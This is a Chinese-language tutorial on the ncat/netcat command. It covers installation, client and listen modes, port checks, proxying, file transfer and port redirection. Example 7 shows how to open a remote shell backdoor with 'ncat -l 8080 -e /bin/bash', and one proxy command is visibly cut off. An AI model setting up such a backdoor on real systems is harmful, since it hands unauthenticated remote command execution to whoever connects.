ncat命令

展开目录
ncat命令
  ncat命令与cat命令有些类似,可以认为是网络版(netcat)的cat命令。ncat命令本质上是跨越网络从命令行读取和写入数据。ncat可以简称为nc,实际上nc是ncat的软链接。
  ncat命令属于软件包nmap-ncat,如果系统中没有ncat命令,可以手动进行安装。例如在CentOS中,可以使用以下命令安装软件包nmap-ncat以使用ncat命令:

yum install nmap-ncat
模式

  ncat命令有两种主要的工作模式:连接模式(connect mode)和监听模式(listen mode)。在连接模式,ncat扮演着客户端的角色;在监听模式,ncat扮演这服务端的角色。换句话说,可以将ncat作为客户端使用,也可以作为服务端使用。一些特殊的场景下,例如作为HTTP的代理服务器,这时ncat同时工作在连接模式和监听模式。
命令格式

  ncat的命令格式为:

ncat [options] [hostname] [port]

  在连接模式下,hostname和port为要连接的服务端的地址和端口号。hostname是必须指定的,port是可以省略的。如果省略了port,则使用默认的端口号31337。在监听模式下,hostname和port表示要监听的地址和端口号。hostname和port都是可以省略的。如果省略hostname,则监听所有有效的IPv4和IPv6地址;如果省略port,则使用默认的端口号31337。

例子1:作为客户端

  可以将ncat作为客户端,用来连接远程服务器,可以发送和接收数据。例如可以连接指定网站域名的80端口:

ncat www.fmttr.com 80

  连接后可以通过发送GET / HTTP/1.1来获取首页的内容

# ncat www.fmttr.com 80
GET / HTTP/1.1

HTTP/1.1 400 Bad Request
Date: Tue, 19 Nov 2019 07:23:30 GMT
Server: Apache/2.4.6 (CentOS) mod_wsgi/4.6.4 Python/3.6
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1

...
例子2:作为服务端

  使用选项-l可以将ncat作为一个服务端。作为服务端意味着启动了一个服务程序,可以接受客户端的连接,并接收和发送数据。例如:

ncat -l localhost 8080

例子3:作为聊天工具

  ncat可以作为聊天工具在两台网络互通的机器上传递聊天信息。例如我们可以在一台机器(作为服务端)的终端执行命令:

ncat -l 192.168.1.101 8080

  然后在另一台机器(作为客户端)的终端执行命令:

ncat 192.168.1.101 8080

  这样就建立起了聊天通道,可以互相发送消息了。
例子4:端口检测

  可以使用ncat判断远程机器指定端口是否处于监听状态。例如:

# ncat -v www.fmttr.com 80
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Connected to 39.105.39.75:80.

# ncat -v www.fmttr.com 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Connection timed out.

  上面的输出表明:www.fmttr.com的80端口是处于监听状态,而8080端口未处于监听状态。

例子5:作为代理

  可以将ncat作为代理使用。相当于进行了数据重定向,例如:

ncat -l 8080 | ncat 192.168.1.101 80

  上面的例子启动了一个代理,此代理将从8080接收到的数据转发给192.168.1.101的80端口。这个转发是单向的。配合管道的使用,可以实现双向转发,例如:

mkfifo two_way_pipe
ncat -l 8080 0two_way_pipe

例子6:传输文件

  通常情况下,使用scp命令来远程传输文件。在没有安装scp的机器上,可以使用ncat实现文件的简单传输。
  在另一个机器上(接收端)(假设IP为:192.168.1.101),以监听模式启动执行ncat:

ncat -l 8080 > "file name"

  在文件所在的机器(发送端),以连接模式执行ncat:

ncat 192.168.1.101 8080 --send-only < "file name"

  其中选项--send-only表示当文件传输完毕后自动断开连接。

例子7:设置后门

  使用选项-e就可以创建一个简单的后门。通过这个后门,可以远程执行所有的Linux命令。

ncat -l 8080 -e /bin/bash

  以上命令就成功的在机器上创建了一个后门,端口号为8080。在另一个机器上通过ncat连接8080端口,即可执行所有希望执行的Linux命令:

ncat 192.168.1.101 8080

例子8:端口重定向

  使用选项-c可以实现端口重定向功能:

ncat -l 80 -c 'ncat -l 8080'

  通过上面的命令,所有连接到80端口的连接都会重定向到8080端口。